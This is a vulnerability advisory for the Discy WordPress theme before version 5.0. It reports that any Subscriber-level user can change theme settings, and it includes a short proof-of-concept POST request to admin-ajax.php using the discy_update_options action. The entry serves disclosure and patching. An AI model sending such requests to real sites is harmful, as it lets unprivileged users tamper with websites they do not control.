Themes Vulnerabilities

Discy < 5.0 - Subscriber+ Broken Access Control to change settings

Description

The theme lacks authorization checks then processing ajax requests to the discy_update_options action, allowing any logged in users (with privileges as low as Subscriber,) to change the theme options by sending a crafted POST request.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Cookie: [subscriber+]

action=discy_update_options&data=<changed settings>

Affects Themes

Fixed in 5.0

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Veshraj Ghimire
Submitter
Veshraj Ghimire
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-07-12 (about 1 years ago)
Added
2022-07-12 (about 1 years ago)
Last Updated
2023-07-04 (about 10 months ago)

Other